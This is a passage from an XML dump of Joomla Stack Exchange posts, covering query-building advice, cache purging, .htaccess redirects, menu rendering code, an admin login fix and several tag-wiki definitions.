&lt;code&gt;AND&lt;/code&gt; as the glue.&lt;/li&gt;&#xA;&lt;li&gt;When checking the &lt;code&gt;price&lt;/code&gt; and &lt;code&gt;kms&lt;/code&gt; values, be sure to use &lt;code&gt;!== ''&lt;/code&gt; so that &lt;code&gt;0&lt;/code&gt; values are not mistaken for an empty value.&lt;/li&gt;&#xA;&lt;li&gt;Avoid the use of &lt;code&gt;*&lt;/code&gt; in your &lt;code&gt;SELECT&lt;/code&gt; clause -- only ask for what you intend to use and explicitly name the tables that your desired columns come from.&lt;/li&gt;&#xA;&lt;li&gt;Write the &lt;code&gt;ON&lt;/code&gt; clause conditions to the right of the tables that are being joined.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;state&lt;/code&gt; clause is not literally a &lt;code&gt;JOIN&lt;/code&gt; condition and is more logically placed in the &lt;code&gt;WHERE&lt;/code&gt; clause.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;-&amp;gt;dump()&lt;/code&gt; when you want to see the generated query.  This can be helpful when you want to experiment by transferring the query to phpMyAdmin or WorkBench.&lt;/li&gt;&#xA;&lt;li&gt;Writing MySQL KEYWORDS as all uppercase will improve the readability of your query.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; to single-quote-wrap all variables that contain string values.  Use &lt;code&gt;(int)&lt;/code&gt; to cast integer values from string type to integer type as a security precaution.  If your numeric values may contain decimal points, use &lt;code&gt;(float)&lt;/code&gt; instead of &lt;code&gt;(int)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$row-&amp;gt;v_small_img&lt;/code&gt; was not used in your posted snippet, so I added an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag to receive the value.&lt;/li&gt;&#xA;&lt;li&gt;Declaring a variable in the function scope with &lt;code&gt;global&lt;/code&gt; is sometimes considered bad practice; where as passing the variable as an argument is preferred.&lt;/li&gt;&#xA;&lt;li&gt;And finally, be generous with spacing.  Omitting spaces to save a few characters offers no noticeable benefit and certainly impacts readability.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-24T07:52:25.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23186" PostTypeId="1" CreationDate="2018-07-24T08:41:02.750" Score="0" ViewCount="518" Body="&lt;p&gt;Documentation provides code for clearing expired cache (&lt;a href=&quot;https://docs.joomla.org/Purging_expired_cache_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Purging_expired_cache_files&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Cli&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;// Make sure we're being called from the command line, not a web interface&#xA;if (array_key_exists('REQUEST_METHOD', $_SERVER)) die();&#xA;&#xA;// Initialize Joomla framework&#xA;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(dirname(__FILE__)) . '/defines.php'))&#xA;{&#xA;    require_once dirname(dirname(__FILE__)) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(dirname(__FILE__)));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Get the framework.&#xA;require_once JPATH_LIBRARIES . '/import.php';&#xA;&#xA;// Bootstrap the CMS libraries.&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Force library to be in JError legacy mode&#xA;JError::$legacy = true;&#xA;&#xA;/**&#xA; * Cron job to trash expired cache data&#xA; *&#xA; * @package  Joomla.CLI&#xA; * @since    2.5&#xA; */&#xA;class GarbageCron extends JApplicationCli&#xA;{&#xA;    /**&#xA;     * Entry point for the script&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    public function doExecute()&#xA;    {&#xA;        $cache = JFactory::getCache();&#xA;        $cache-&amp;gt;gc();&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('GarbageCron')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is a file garbagecron.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how to clear all cache files in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="12735" LastActivityDate="2018-08-01T15:34:33.390" Title="How to purge (clear) all cache files in Joomla 2.5?" Tags="|joomla-2.5|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23187" PostTypeId="1" CreationDate="2018-07-24T10:00:44.400" Score="1" ViewCount="489" Body="&lt;p&gt;Over the last couple of years I have taken over a website made up of several parts, ie there were some traditional html pages, a php “wiki” installation and a similar php “knowledgeable” installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have redesigned the site and converted the old html part of the site to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present the new Joomla website calls in the wiki php functionality into Joomla using the “URL” menu type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to me, there is no longer a need for this wiki installation and would like to bring all the wiki pages into Joomla. Regarding the content, this is not a difficult task - it’s a simple copy and paste job from the wiki into Joomla articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that the wiki pages rank well in Google, and I need to ensure that above all else that the pages do not lose ranking as we swap the pages into Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki itself does have a redirect plugin which I’ve set up, and it works, but Google is still listing the old URLs and not the new URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried creating redirects via htaccess in the root folder, but it’s not working as I was hoping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the redirect I have tried in htaccess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirect 301 /phpfolder/doku.php?id=mydocument &lt;a href=&quot;https://www.mysite.co.uk/new-category/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysite.co.uk/new-category/2&lt;/a&gt; ... joomla-doc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested it several times and as soon as the &quot;?id=mydocument&quot; goes in after the doku.php the server completely ignores the redirect and serves the original wiki page and not the new Joomla page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any suggestion on how I can resolve this to avoid the original wiki pages losing ranking and to get Google to recognise the new pages and deindex the old pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, as always, greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="12736" LastActivityDate="2018-08-01T15:32:31.823" Title="Redirect problem" Tags="|joomla-3.x|seo|.htaccess-configuration|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23188" PostTypeId="2" ParentId="23182" CreationDate="2018-07-24T11:59:22.613" Score="0" Body="&lt;p&gt;Assuming that the parent menu precedes it child menus, I think it is most sensible to batch the submenus and then just before a new &#xA;&lt;code&gt;level = 1&lt;/code&gt; item occurs, you unload the batch of submenus in your desired structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should declare that I am new to Joomla and I do not know if there is a native Joomla way to perform this task.  Also, I don't personally like bouncing in and out of php because I think it increases the chances of developer error, so I'll write this up as one continuous php block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/EcMsc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;ul itemscope itemtype=&quot;http://www.schema.org/SiteNavigationElement&quot;&amp;gt;';&#xA;    foreach ($items as $i =&amp;gt; $menu_item) {&#xA;        if($menu_item-&amp;gt;level == '1') {&#xA;            if ($i) {             // not the first iteration ($i is not 0)&#xA;                if ($sub_menu) {  // only display a batch of submenus if batch is not empty&#xA;                    echo '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;' , implode('&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', $sub_menu) , '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;/li&amp;gt;';&#xA;            }&#xA;            $sub_menu = array();  // start over with a new empty batch&#xA;            echo '&amp;lt;li itemprop=&quot;name&quot;&amp;gt;';&#xA;                echo '&amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;' , $menu_item-&amp;gt;title , '&amp;lt;/a&amp;gt;';&#xA;        } elseif ($menu_item-&amp;gt;level == '2') {&#xA;            $sub_menu[] = $menu_item-&amp;gt;title;  // add to the batch&#xA;        }&#xA;    }&#xA;    if ($items) {&#xA;        echo '&amp;lt;/li&amp;gt;';             // close final listitem tag&#xA;    }&#xA;echo '&amp;lt;/ul&amp;gt;';                     // close first unorderedlist tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul itemscope itemtype=&quot;http://www.schema.org/SiteNavigationElement&quot;&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;DIFC&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;ADGM&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Publications&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;FinTech: Now Everybody Wants A Slice of the Pie&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;The Role of Financial Centres in Emerging Economies&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Bitcoin versus Ethereum &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;ADGM&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;DIFC&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Finance&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li itemprop=&quot;name&quot;&amp;gt;&#xA;        &amp;lt;a itemprop=&quot;url&quot; href=&quot;http://www.10leaves.ae/&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-07-24T11:59:22.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23189" PostTypeId="5" CreationDate="2018-07-24T12:06:26.037" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://docs.angularjs.org/guide/introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;AngularJS&lt;/a&gt; is an open-source, client-side, structural Javascript framework for dynamic web applications.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-24T12:36:13.533" LastActivityDate="2018-07-24T12:36:13.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23190" PostTypeId="4" CreationDate="2018-07-24T12:06:26.037" Score="0" Body="Use this tag for questions pertaining to AngularJS" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-24T12:36:06.080" LastActivityDate="2018-07-24T12:36:06.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23191" PostTypeId="5" CreationDate="2018-07-24T12:12:36.120" Score="0" Body="&lt;p&gt;A &quot;breadcrumb&quot; (or &quot;breadcrumb trail&quot;) is a type of secondary navigation scheme that reveals the user's location in a website or Web application. (&lt;a href=&quot;https://www.smashingmagazine.com/2009/03/breadcrumbs-in-web-design-examples-and-best-practices/&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)  Not only do breadcrumbs display the user's current location, typically they represent a means to quickly navigate to earlier or higher order locations within the site/application.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-24T12:36:24.210" LastActivityDate="2018-07-24T12:36:24.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23192" PostTypeId="4" CreationDate="2018-07-24T12:12:36.120" Score="0" Body="Use this tag for questions that pertain to navigational breadcrumbs." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-24T12:36:19.140" LastActivityDate="2018-07-24T12:36:19.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23193" PostTypeId="2" ParentId="23187" CreationDate="2018-07-24T12:33:42.007" Score="1" Body="&lt;p&gt;Normal redirects ignore query strings.  You have to set a condition for the page and the query string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/phpfolder/doku.php&#xA;RewriteCond %{QUERY_STRING} ^id=mydocument$&#xA;RewriteRule (.*) https://www.mysite.co.uk/new-category/whatever/joomla-doc? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting the ? at the end strips off the original query string, otherwise it would show &lt;a href=&quot;https://www.mysite.co.uk/new-category/whatever/joomla-doc?id=mydocument&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysite.co.uk/new-category/whatever/joomla-doc?id=mydocument&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a ton of different queries that go to the same place, it is possible to use regex to match them all together.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-07-24T12:33:42.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23195" PostTypeId="5" CreationDate="2018-07-24T14:29:51.227" Score="0" Body="&lt;p&gt;An array is an ordered data structure consisting of a collection of elements (values or variables).  Each element is identified by an index or a key.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:50.153" LastActivityDate="2018-07-25T13:47:50.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23196" PostTypeId="4" CreationDate="2018-07-24T14:29:51.227" Score="0" Body="When using this tag, also tag the question with the programming language being used." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:43.077" LastActivityDate="2018-07-25T13:47:43.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23197" PostTypeId="2" ParentId="5661" CreationDate="2018-07-24T14:32:29.390" Score="1" Body="&lt;p&gt;Adding to @GDP's answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$columns = array('user_id', 'type', 'object', 'lvl', 'date');&#xA;$values  = array();&#xA;foreach ($batch as $row) {&#xA;    $array    = array(&#xA;        $row-&amp;gt;user_id,&#xA;        $db-&amp;gt;quote($row-&amp;gt;type),&#xA;        $db-&amp;gt;quote($row-&amp;gt;object),&#xA;        $db-&amp;gt;quote($row-&amp;gt;lvl),&#xA;        $db-&amp;gt;quote($row-&amp;gt;date),&#xA;    );&#xA;    $values[] = implode(',', $array);&#xA;}&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__activity_log'));&#xA;$query-&amp;gt;columns($db-&amp;gt;quoteName($columns));&#xA;$query-&amp;gt;values($values);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2018-07-24T15:31:13.937" LastActivityDate="2018-07-24T15:31:13.937" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23198" PostTypeId="5" CreationDate="2018-07-24T14:39:25.233" Score="0" Body="&lt;p&gt;A cache (pronounced CASH or CAYSH depending on your English dialect) is a place to store something temporarily in a computing environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In computing, active data is often cached to shorten data access times, reduce latency and improve input/output (I/O). Because almost all application workload is dependent upon I/O operations, caching is used to improve application performance. (&lt;a href=&quot;https://searchstorage.techtarget.com/definition/cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching is like short-term memory and can be responsible for unexpected data being displayed or data not being &quot;forgotten&quot; after the data has been removed from its original location.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:39.963" LastActivityDate="2018-07-25T13:47:39.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23199" PostTypeId="4" CreationDate="2018-07-24T14:39:25.233" Score="0" Body="Use this tag when dealing with data that is being cached." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:54.947" LastActivityDate="2018-07-25T13:47:54.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23200" PostTypeId="5" CreationDate="2018-07-24T14:43:01.153" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Session_%28computer_science%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A session is a semi-permanent interactive information interchange, also known as a dialogue, a conversation or a meeting, between two or more communicating devices, or between a computer and user (see &lt;a href=&quot;https://en.wikipedia.org/wiki/Login_session&quot; rel=&quot;nofollow noreferrer&quot;&gt;Login session&lt;/a&gt;). A session is set up or established at a certain point in time, and torn down at a later point in time. An established communication session may involve more than one message in each direction. A session is typically, but not always, &lt;a href=&quot;https://en.wikipedia.org/wiki/Stateful&quot; rel=&quot;nofollow noreferrer&quot;&gt;stateful&lt;/a&gt;, meaning that at least one of the communicating parts needs to save information about the session history in order to be able to communicate, as opposed to &lt;a href=&quot;https://en.wikipedia.org/wiki/Stateless_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;stateless&lt;/a&gt; communication, where the communication consists of independent requests with responses.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An established session is the basic requirement to perform a &lt;a href=&quot;https://en.wikipedia.org/wiki/Connection-oriented_communication&quot; rel=&quot;nofollow noreferrer&quot;&gt;connection-oriented communication&lt;/a&gt;. A session also is the basic step to transmit in &lt;a href=&quot;https://en.wikipedia.org/wiki/Connectionless_communication&quot; rel=&quot;nofollow noreferrer&quot;&gt;connectionless communication&lt;/a&gt; modes. However any unidirectional transmission does not define a session.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:20.680" LastActivityDate="2018-07-25T13:47:20.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23201" PostTypeId="4" CreationDate="2018-07-24T14:43:01.153" Score="0" Body="A session refers to the communication between a single client and a server. A session is specific to the user and for each user a new session is created to track all the requests from that user. " OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:48:10.200" LastActivityDate="2018-07-25T13:48:10.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23202" PostTypeId="5" CreationDate="2018-07-24T14:51:59.880" Score="0" Body="&lt;p&gt;Pagination is the process of dividing information into discrete pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When dealing with content that is deemed too large for the space available or damaging to the user experience, pagination is a process that breaks content into more manageable portions and permits the ability to navigate between portions, if desired.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:02.160" LastActivityDate="2018-07-25T13:47:02.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23203" PostTypeId="4" CreationDate="2018-07-24T14:51:59.880" Score="0" Body="Use this tag on questions that are spreading portions of related content across multiple pages." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:47:07.853" LastActivityDate="2018-07-25T13:47:07.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23204" PostTypeId="5" CreationDate="2018-07-24T14:54:22.017" Score="0" Body="&lt;p&gt;A fatal error causes a program to finish execution, usually returning back to the operating system. This broad category also covers errors that are not thrown as exceptions. &lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:48:07.203" LastActivityDate="2018-07-25T13:48:07.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23205" PostTypeId="4" CreationDate="2018-07-24T14:54:22.017" Score="0" Body="An error that causes a program to abort, regardless of the programming language. " OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:48:00.603" LastActivityDate="2018-07-25T13:48:00.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23206" PostTypeId="5" CreationDate="2018-07-24T14:57:42.433" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://developers.facebook.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Facebook Platform&lt;/a&gt; is a software environment provided by the social networking service Facebook for third-party developers to &lt;a href=&quot;http://developers.facebook.com/docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;create their own applications&lt;/a&gt; and services that access data in Facebook. It lets developers integrate their applications directly into the Facebook social networking service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The platform offers a set of programming interfaces and tools which enable developers to integrate with the &lt;a href=&quot;/questions/tagged/opengraph&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;opengraph&amp;#39;&quot; rel=&quot;tag&quot;&gt;opengraph&lt;/a&gt; of personal relations and other things like songs, places, and Facebook pages. Applications on facebook.com, external websites, and devices are all allowed to access the graph. Launched on May 24, 2007, Facebook Platform has evolved from enabling development just on facebook.com to one also supporting integration across the web and devices.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:46:53.560" LastActivityDate="2018-07-25T13:46:53.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23207" PostTypeId="4" CreationDate="2018-07-24T14:57:42.433" Score="0" Body="Facebook Platform lets developers integrate their apps directly into the Facebook social networking service. Use this tag for questions which may arise when developing FOR Facebook. This tag is NOT for support questions about using the Facebook website or the official Facebook app. It is also NOT for questions of the “I want to implement a feature similar to what Facebook has” variety." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-25T13:46:57.857" LastActivityDate="2018-07-25T13:46:57.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23209" PostTypeId="1" AcceptedAnswerId="23210" CreationDate="2018-07-24T22:12:57.637" Score="0" ViewCount="142" Body="&lt;p&gt;I cannot log into the Joomla! admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the password in PHP My Admin does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It always says that my username and password do not match, the user does not exist or I have not been activated yet.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-12-22T01:01:45.413" Title="Can't login to Joomla! admin updating password in PHP MyAdmin doesn't work" Tags="|database|login|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23210" PostTypeId="2" ParentId="23209" CreationDate="2018-07-24T22:12:57.637" Score="0" Body="&lt;p&gt;In this instance I had multiple users tables in my database.  This was due to either a backup and restore, or an upgrade from 1.5 or 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manually deleted all of the tables that started with the wrong prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This left only the currently prefixed tables (I checked in my configuration.php to see which one was correct) and was then able to use the users table to update my password successfully.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-07-24T22:12:57.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23211" PostTypeId="2" ParentId="22284" CreationDate="2018-07-25T02:48:22.300" Score="0" Body="&lt;p&gt;I feel that there is quite a bit wrong with your posted code and there are essential details that are not included in the question.  I'll start this Wiki-answer so that anyone can add their expertise and correct the code block with best practices.  The following was not tested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$link_id = (int)$jinput-&amp;gt;get('link_id', 0, 'int');  // initally $_GET, but later $_POST&#xA;$submit = $jinput-&amp;gt;post-&amp;gt;get('submit2', '', 'string');&#xA;$peak = $jinput-&amp;gt;post-&amp;gt;get('peak', '', 'string');&#xA;$files = $jinput-&amp;gt;files-&amp;gt;get('file', [], 'array');&#xA;&#xA;$db = JFactory::getDbo();  // just one reusable database connection / object&#xA;&#xA;if ($submit != 'Send') {&#xA;    // pre-submission:&#xA;    try {&#xA;        $peaks_query = $db-&amp;gt;getQuery(true)&#xA;                          -&amp;gt;select('peak_name')&#xA;                          -&amp;gt;from('#__unclimbedpeaks')&#xA;                          -&amp;gt;where(&quot;link_id = $link_id&quot;)&#xA;                          -&amp;gt;order('peak_id');&#xA;        $db-&amp;gt;setQuery($peaks_query);&#xA;        $peaks_list = $db-&amp;gt;loadColumn();&#xA;        $peaks_select = '&amp;lt;select name=&quot;peak&quot; id=&quot;peak&quot;&amp;gt;';&#xA;        $peaks_select .= '&amp;lt;option value=&quot;&quot;&amp;gt;-- Odaberi vrh --&amp;lt;/option&amp;gt;';&#xA;        foreach ($peaks_list as $p) {&#xA;            $peaks_select .= '&amp;lt;option value=&quot;' . htmlspecialchars($p, ENT_QUOTES) . '&quot;&amp;gt;' . $p . '&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $peaks_select .= '&amp;lt;/select&amp;gt;';&#xA;    } catch (Exception $e) {&#xA;        echo &quot;Syntax Error @ unclimbedpeaks table&quot;; //  , $e-&amp;gt;getMessage();&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;&#xA;    &amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;MailFile&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    &amp;lt;form enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo htmlentities($_SERVER['PHP_SELF']); ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;peak&quot;&amp;gt;Remaining Peaks&amp;lt;/label&amp;gt; &amp;lt;?php echo $peaks_select; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;file&quot;&amp;gt;File&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit2&quot; id=&quot;submit2&quot; value=&quot;Send&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;link_id&quot; value=&quot;$link_id&quot;&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;    &amp;lt;/html&amp;gt;&#xA;    &amp;lt;?php&#xA;} else {&#xA;    // post-submission&#xA;    try {&#xA;        $hiker_query = $db-&amp;gt;getQuery(true)&#xA;                          -&amp;gt;select(array('link_name', 'alias'))&#xA;                          -&amp;gt;from('#__hikers')&#xA;                          -&amp;gt;where(&quot;link_id = $link_id&quot;);&#xA;        